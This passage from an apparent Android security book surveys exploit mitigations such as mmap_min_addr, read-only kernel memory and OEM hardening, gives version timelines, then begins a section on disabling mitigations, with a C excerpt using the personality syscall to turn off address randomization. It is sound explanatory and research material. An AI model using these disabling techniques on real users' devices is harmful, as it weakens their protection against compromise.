setting (4096) prevents mapping the lowest page. Most modern operating systems
raise this value to something higher.
This protection was introduced in Linux 2.6.23. The official documentation
states that this protection was first included in Android 2.3. However, testing against a pool of devices reveals that it was present on devices running
versions of Android as early as 2.1. In December 2011, commit 27cca21 increased
the value to 32768 in the default init.rc file. Android 4.1.1 was the first release
to include this commit.
Read-Only Memory Regions
Exploiting a Linux kernel vulnerability usually hinges around modifying a
function pointer, data structure, or the kernel code itself. To limit the success
of this type of attack, some Android devices protect areas of kernel memory by
making them read only. Unfortunately, only devices based on the Qualcomm
MSM System-on-Chip (SoC), such as the Nexus 4, enforce memory protections
this way.
Larry Bassel introduced the CONFIG_STRICT_MEMORY_RWX kernel configuration
option into the MSM kernel source in February 2011. Consider the following
excerpt from arch/arm/mm/mmu.c in the msm kernel tree.
#ifdef CONFIG_STRICT_MEMORY_RWX
...
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map.pfn = __phys_to_pfn(__pa(__start_rodata));
map.virtual = (unsigned long)__start_rodata;
map.length = __init_begin - __start_rodata;
map.type = MT_MEMORY_R;
create_mapping(&map, false);
...
#else
map.length = end - start;
map.type = MT_MEMORY;
#endif
When CONFIG_STRICT_MEMORY_RWX is enabled, the kernel uses the MT_MEMORY_R
memory type when creating the region for read-only data. Using this setting
causes the hardware to prevent writes to the memory region.
This protection comes with some drawbacks, though. First, splitting the
kernel into several sections causes some minor memory waste. If the sections
are less than 1 megabyte (MB), the remaining space is wasted. Second, caching
performance is slightly degraded. Third, preventing writes to the kernel code
complicates debugging. When debugging the kernel, it’s common to insert
breakpoint instructions into the code. The problem is that the tools used for
debugging the kernel do not support operating with a read-only kernel code
segment.
Other Hardening Measures
In addition to the exploit mitigations described earlier, various stakeholders
in the Android ecosystem have implemented further hardening measures.
The official Android teams and original equipment manufacturers (OEMs)
have made incremental improvements to the operating system, often in direct
response to publicly available exploits. Although some of these changes do
prevent exploitation, others simply put a stop to public exploits. That is, they
only prevent a particular action used by exploits from succeeding. Often the
action is nonessential and can be trivially worked around by an attacker. Even
in the less-effective cases, these changes improve the overall security posture
of the Android operating system.
Samsung made several changes to the customized version of Android that
runs on their devices. As previously mentioned, Samsung also implemented
SELinux on the Galaxy S4. For some devices, including the Galaxy S2 and S3,
Samsung modified its adbd binary to always drop privileges. Doing so causes
exploits that (ab)use flags set in the build.prop and local.prop to obtain root
privileges to fail. To do this, Samsung simply disabled the ALLOW_ADBD_ROOT
compile-time flag, which is defined in system/core/adb/adb.c in the AOSP
tree. With the release of the Galaxy S4, Samsung also modified its Linux kernel
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to include a compile-time kernel option called CONFIG_SEC_RESTRICT_SETUID.
This option is designed to prevent code from elevating from non-root to root.
In all but a few specific situations, passing the root user ID (0) to the setuid and
setgid family of functions causes the kernel to return an error, thereby blocking elevation. The Galaxy S4 also includes a kernel option called CONFIG_SEC_
RESTRICT_FORK. For one, this restriction prevents the root user from executing
programs under the /data/ directory. Further, it prevents non-root processes
from executing processes with root privileges.
Other OEMs have also implemented some custom hardening measures. One
well-known HTC measure is the NAND lock feature, often called S-ON. This
feature prevents writing to certain areas of flash memory, even if the partition
has been mounted in read-write mode. Doing this prevents exploits from modifying the /system partition data without circumventing the NAND protection.
Toshiba included a kernel module called sealime.ko on one of its devices. As
discussed previously, that module implemented several SELinux-like restrictions.
During development, the official Android teams, spearheaded by Nick
Kralevich, made several incremental improvements to harden core operating system components. In particular, the 4.0.4, 4.1, and 4.2.2 releases introduced changes
to make exploiting certain issues more difficult, or in some cases impossible.
As of the release of 4.0.4, the init program in Android no longer follows symbolic links when processing the chmod, chown, or mkdir actions in an init.rc.
Commits 42a9349 and 9ed1fe7 in the system/core/init repository introduced
this change. This change prevents using symbolic links to exploit file system
vulnerabilities in init scripts. One such issue is presented as an example in
Chapter 3.
The release of Android 4.1 brought changes to logging and umask functionality. First, this release removed the ability for third-party apps to make use of
the READ_LOGS permission. This prevents rogue applications from obtaining
potentially sensitive information that is logged by another application. For
example, if a banking app sloppily logged a user’s password, a rogue app could
potentially obtain the credentials and relay them back to an attacker. With 4.1
and later, apps can see only their own log data. Second, the default umask value
was changed. This setting specifies the permissions of files and directories when
they are created without explicitly providing permissions. Prior to this release,
the default value was 0000, which causes files and directories to be writable by
any user (any app) on the system. With this release, the value was changed to
0077, which limits access to the user that creates the file. Both of these changes
improve the overall security posture of Android devices.
WARNING
A specific exception was made for ADB when modifying the default
umask setting. As a result, ADB still creates files with permissive permissions. Take
extra care when creating files using ADB.
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Android 4.2 also included a couple of changes that improved security. First,
Google changed the default behavior of the exported attribute of Content Providers
for apps that target application programming interface (API) level 17 or higher.
That is, they changed how Android handles an app that doesn’t explicitly set
this property. Prior to this release, all Content Providers were accessible by other
apps by default. After, app developers need to explicitly set the property if they
want to expose their Content Provider to other apps. Second, the SecureRandom
class was updated to make its output less predictable when using an initial
seed value. One of the SecureRandom class constructors accepts a seed value
parameter. Before this change, using this constructor would yield an object
that produced deterministic random values. That is, creating two such objects
with the same seed would produce the same stream of random numbers. After
the change, it will not.
Most recently, Android 4.2.2 hardened developer access using ADB. In 2012,
researchers Robert Rowley and Kyle Osborn brought attention to attacks that
allowed data theft using ADB. Although such attacks require physical access,
they can be quickly and easily performed in two ways. First, in an attack called
Juice Jacking, an attacker uses a custom mobile charging station to lure unsuspecting users to plug in their devices. Second, an attacker uses nothing but
her own phone and a special micro Universal Serial Bus (USB) cable to steal
data from another user’s device. To address these attacks, Google switched on
a setting called ro.adb.secure. When enabled, this feature requires a user to
manually approve machines that attempt to access the device via ADB. Figure
12-1 shows the prompt presented to the user.
Figure 12-1: ADB whitelisting
When connecting, the host machine presents its RSA, named after its inventors
Ron Rivest, Adi Shamir, and Leonard Adleman, key to the device. A fingerprint of
this key is shown to the user. The user can also choose to store the host machine’s
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key to prevent being prompted in the future. This feature both mitigates Kyle’s
attack and prevents data from being accessed on a lost or stolen device.
It is important to note that the hardening measures discussed in this section
do not represent an exhaustive list. There are likely many more such improvements waiting to be discovered, including some that may be implemented
during the writing of this book.
Summary of Exploit Mitigations
When Android was first released, it included fewer exploit mitigations than
most other Linux systems. This is somewhat surprising because Linux has traditionally led the way and served as the proving ground for many mitigation
techniques. As Linux was ported to ARM, little attention was given to supporting
these mitigations. As Android became more popular, its security team increased
exploit mitigation coverage to protect the ecosystem. As of Jelly Bean, Android
implements most modern exploit mitigations, with promises of more to come.
Table 12-1 depicts a timeline of the officially supported mitigations in Android.
Table 12-1: History of Core Android Mitigation Support
VERSION
MITIGATIONS INTRODUCED
1.5
Disabled %n format specifier in Bionic
Binaries compiled with stack cookies (-fstack-protector)
Included the safe_iop library
Included enhanced dlmalloc
Implemented calloc integer overflow check
Supported XN in the kernel
2.3
Binaries compiled with non-executable stack and heap
Official documentation states mmap_min_addr added
Binaries compiled with -Wformat-security
-Werror=format-security
4.0
Randomized stack addresses
Randomized mmap (libraries, anon mappings) addresses
4.0.2
Randomized heap addresses
4.0.4
Changed chown, chmod, mkdir to use NOFOLLOW
4.1
Changed default umask to 0077
Restricted READ_LOGS
Randomized linker segment addresses
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VERSION
MITIGATIONS INTRODUCED
Binaries compiled using RELRO and BIND_NOW
Binaries compiled using PIE
Enabled dmesg_restrict and kptr_restrict
Introduced Isolated Services
4.1.1
Increased mmap_min_addr to 32768
4.2
Content providers no longer exported by default
Made seeded SecureRandom objects non-deterministic
Implemented use of FORTIFY_SOURCE=1
4.2.2
Enabled ro.adb.secure by default
4.3
Includes SELinux in permissive mode
Removed all set-uid and set-gid programs
Prevented Apps from executing set-uid programs
Implemented dropping Linux capabilities in zygote and adbd
4.4
Includes SELinux in enforcing mode
Implemented use of FORTIFY_SOURCE=2
In addition to implementing mitigation techniques in the operating system
itself, it is also important to do so in the Android NDK. Table 12-2 depicts a
timeline of when the various compiler-supported mitigations were enabled by
default in the Android NDK.
Table 12-2: History of Android NDK Mitigation Support
VERSION
MITIGATIONS INTRODUCED
1
Binaries compiled with stack cookies (-fstack-protector)
4b
Binaries compiled with non-executable stack and heap
8b
Binaries compiled using RELRO and BIND_NOW
8c
Binaries compiled using PIE
9
Binaries compiled with -Wformat-security
-Werror=format-security
Disabling Mitigation Features
It is occasionally useful to disable mitigations temporarily while developing
exploits or simply experimenting. Although some mitigations can be disabled
easily, some cannot. This section discusses the ways that each protection can
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be disabled intentionally. Take care when disabling system-wide mitigations
on a device used for everyday tasks because doing so makes the device easier
to compromise.
Changing Your Personality
The first, and most flexible, way to disable mitigations is to use the Linux
personality system call. The setarch program is one way to invoke this functionality. This program is designed to allow disabling randomization, execution
protection, and several other flags on a per-process basis. Current versions of
the GNU Debugger (GDB) have a disable-randomization setting (enabled by
default) that uses the personality system call. Although modern Linux kernels
allow disabling randomization, they do not allow enabling the ability to map
memory at address zero. Further, setarch cannot disable execution protections
on x86_64 machines. Before you get too excited, personality settings are also
ignored when executing set-user-id programs. Fortunately, these protections
can be disabled using other means, as shown later in this section.
The personality system call function is not implemented in Android’s Bionic
C runtime library. Despite this fact, it is still supported by the underlying Linux
kernel. Implementing your own version of this system call is straightforward,
as shown in the following code excerpt:
#include <sys/syscall.h>
#include <linux/personality.h>
#define SYS_personality 136 /* ARM syscall number */
...
int persona;
...
persona = syscall(SYS_personality, 0xffffffff);
persona |= ADDR_NO_RANDOMIZE;
syscall(SYS_personality, persona);
Here the code uses the personality system call to disable randomization for
the process. The first call obtains the current personality s